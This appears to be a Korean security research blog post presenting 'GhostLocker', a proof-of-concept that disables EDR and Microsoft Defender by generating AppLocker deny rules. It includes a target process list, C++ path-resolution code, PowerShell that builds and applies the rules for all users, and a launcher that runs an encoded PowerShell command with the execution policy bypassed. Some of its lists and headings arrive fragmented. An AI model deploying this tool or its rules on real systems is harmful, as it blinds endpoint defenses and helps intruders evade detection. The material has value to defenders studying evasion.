
AppLocker 기반 EDR 무력화
Fairy-Law에 관한 제 글(커널 완화를 사용하여 EDR(Endpoint Detection & Response) 솔루션을 비활성화) 이후, diversenok 님께서 IFEO(Image File Execution Options) 예외가 타사 애플리케이션에 너무 침습적이라고 지적해 주셨습니다. 이로 인해 더 나은 접근 방식, 즉 관리자가 이미 AppLocker를 통해 보유하고 있는 고유한 권한을 활용하는 방법이 탄생했습니다.
해당 개념은 관리자가 자신의 시스템에서 모든 소프트웨어를 합법적으로 제어할 수 있다는 점을 강조한 diversenok 님으로부터 영감을 받았습니다. 이 통찰력을 바탕으로 AppLocker를 기본 Windows 제어 메커니즘으로 사용하는 기법을 개발했습니다. 본 연구는 EDR 제어를 위한 AppLocker의 기술적 구현을 탐구하고, 이를 WDAC와 비교하며 실용적인 개념 증명 도구를 제시합니다.
AppLocker는 Windows 7에서 도입되었으며 Windows 8.1, 10(Enterprise) 및 Windows Server 2012/R2/2016+ 에서 향상되었습니다. 이는 애플리케이션 허용 목록(whitelisting) 프레임워크로, 관리자가 특정 사용자 또는 그룹에 대해 어떤 실행 파일, 스크립트 또는 설치 프로그램이 실행될 수 있는지 정확하게 정의할 수 있게 합니다.
AppIDSvc(Application Identity Service)
LocalService 계정으로 실행됩니다.AppID.sys(커널 드라이버)
SeSrpAccessCheck를 사용하여 규칙 평가를 수행합니다.설명:
AppID.sys는 커널 모드에서 규칙 평가를 수행하지만, DLL 적용은 자동으로 이루어지지 않습니다.
커널 드라이버는 자체적으로 DLL 로드를 적극적으로 모니터링하지 않습니다. 대신 사용자 모드 구성 요소가 IOCTL을 통해 드라이버에 명시적으로 쿼리하여 DLL 로드가 허용되는지 확인해야 합니다.
결과적으로 AppLocker DLL 규칙은 사실상 클라이언트 측 보호 메커니즘으로 작동합니다.
AppLocker는 두 가지 주요 규칙 범주를 지원합니다.
허용 규칙: 정의된 애플리케이션의 실행을 명시적으로 허용합니다.
거부 규칙: 정의된 애플리케이션의 실행을 명시적으로 차단합니다.
C:\Program Files\Security\*.exeHKLM\Software\Policies\Microsoft\Windows\SrpV2 (XML 정책 저장, 영구)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe (SDDL 바이너리 형식, 활성 적용)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (인증서 캐시)
기본적으로 AppLocker는 서비스나 SYSTEM 프로세스에 규칙을 적용하지 않습니다.
이 동작을 활성화하는 그래픽 사용자 인터페이스 옵션은 없습니다.
서비스에 대한 적용은 XML 정책에서 RuleCollectionExtensions를 사용해야만 활성화할 수 있습니다.
서비스에 AppLocker 규칙을 적용하려면 다음 정책 섹션이 필요합니다.
<RuleCollectionExtensions>
<ThresholdExtensions>
<Services EnforcementMode="Enabled"/>
</ThresholdExtensions>
<RedstoneExtensions>
<SystemApps Allow="Enabled"/>
</RedstoneExtensions>
</RuleCollectionExtensions>
확장 이름에서 알 수 있듯이 이러한 옵션은 Windows 10+에서만 지원되며 이전 버전에서는 사용할 수 없습니다. Microsoft - AppLocker 규칙 컬렉션 확장 참조
AppID.sys가 애플리케이션 특성 평가STATUS_ACCESS_DISABLED_BY_POLICY_OTHER로 프로세스 생성 중단⚠️ AppLocker는 실행 중인 프로세스를 종료하지 않습니다.
AppLocker 적용은 새로운 프로세스 생성 이벤트에만 적용됩니다. 이미 실행 중인 EDR 프로세스는 시스템 재부팅까지 계속 실행됩니다. 이는 근본적인 아키텍처 제약입니다.
커널 드라이버 텔레메트리 주의 사항:
EDR 사용자 공간 실행 파일을 차단한 후에도 커널 드라이버(*.sys)는 활성 상태로 유지되며 계속 작동합니다. 이러한 드라이버는 다음을 계속 수행합니다.
그러나 광범위한 테스트 결과 이러한 텔레메트리는 사실상 기능적으로 무용지물이 되는 것으로 나타났습니다. 사용자 공간 분석 엔진, 상관 관계 시스템 및 보고 메커니즘이 없으면 원시 텔레메트리 데이터를 실행 가능한 탐지로 처리할 수 없습니다. EDR 솔루션은 다음을 위해 사용자 공간 구성 요소에 크게 의존합니다.
GhostLocker는 EDR 실행 파일을 차단하기 위해 AppLocker 정책 배포를 자동화하는 C++ 구현입니다.
GhostLocker는 두 가지 구현 변형을 제공합니다.
main.cpp – 동적 열거 버전이 버전은 실행 중인 프로세스를 열거하고 네이티브 API(NtQuerySystemInformation)를 사용하여 전체 이미지 경로를 확인합니다.
확인된 절대 경로는 정확한 AppLocker 거부 규칙을 생성하는 데 사용됩니다.
이 도구는 TH32CS_SNAPPROCESS와 함께 CreateToolhelp32Snapshot을 사용하여 모든 실행 중인 프로세스를 열거합니다. 미리 정의된 대상 목록과 프로세스 이름을 대소문자를 구분하지 않는 일치(_wcsicmp)로 비교합니다.
왜 이 접근 방식인가?
FindTargetsAndQueryPaths)const wchar_t* targetNames[] = {
L"MpDefenderCoreService.exe",
L"MsMpEng.exe",
L"WinDefend.exe",
L"EDR_Component_Name.exe",
};
SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;
status = NtQuerySystemInformation(
SystemProcessIdInformation,
&spi,
sizeof(spi),
0
);
기술 세부 사항:
SystemProcessIdInformation(0x58) 정보 클래스 사용\Device\HarddiskVolume3\Windows\System32\...경로 변환 로직:
std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
if (ntPath.rfind(prefix, 0) == 0)
{
std::wstring rest = ntPath.substr(prefix.length());
return L"C:\\" + rest;
}
return ntPath;
}
제한 사항: 하드코딩된 HarddiskVolume3 가정. 볼륨 번호를 동적으로 확인하도록 개선해야 합니다.
이 도구는 완전한 PowerShell 스크립트를 포함하며, 다음을 수행합니다.
a) 대상 경로 검증
foreach ($exe in $ExeToBlock) {
if (!(Test-Path $exe)) {
Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
exit 1
}
}
b) 동적 거부 규칙 생성
foreach ($exe in $ExeToBlock) {
$id = [guid]::NewGuid().ToString()
$name = Split-Path $exe -Leaf
$dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name +
'" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
$dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
$dynamicBlockRules += '</FilePathRule>'
}
주요 정책 요소:
UserOrGroupSid="S-1-1-0": 모든 사용자에게 적용Action="Deny": 명시적 차단 규칙EnforcementMode="Enabled": EXE 규칙에 대한 활성 적용c) 정책 적용
Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null
void RunPowerShellInMemory()
{
std::wstring script = BuildFullPowerShellScript();
const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
size_t byteLen = script.size() * sizeof(wchar_t);
std::wstring encoded = Base64Encode(bytes, byteLen);
std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
params += encoded;
ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}
기술적 근거:
-EncodedCommand는 UTF-16LE를 기대합니다.-ExecutionPolicy Bypass: 스크립트 실행 정책을 무시합니다.runas 동사: 관리자 권한을 위한 UAC 상승을 트리거합니다.main_improved.cpp – 정적 와일드카드 기반 버전diversenok의 설명 이후, AppLocker 경로 규칙이 와일드카드 일치를 지원하며 전체 실행 파일 경로가 필요하지 않다는 것이 명확해졌습니다.
이 개선된 버전은 모든 프로세스 열거 및 네이티브 경로 확인 로직을 제거하고 대신 다음과 같은 정적 와일드카드 규칙에 의존합니다: *\MsMpEng.exe
⚠️ 성공적인 배포를 위한 전제 조건:
sc start AppIDSvc여러 상용 EDR 솔루션을 대상으로 효과를 평가하기 위해 광범위한 통제된 테스트를 수행했습니다.
테스트 환경:
행동 분석 실패:
관리 콘솔 관점: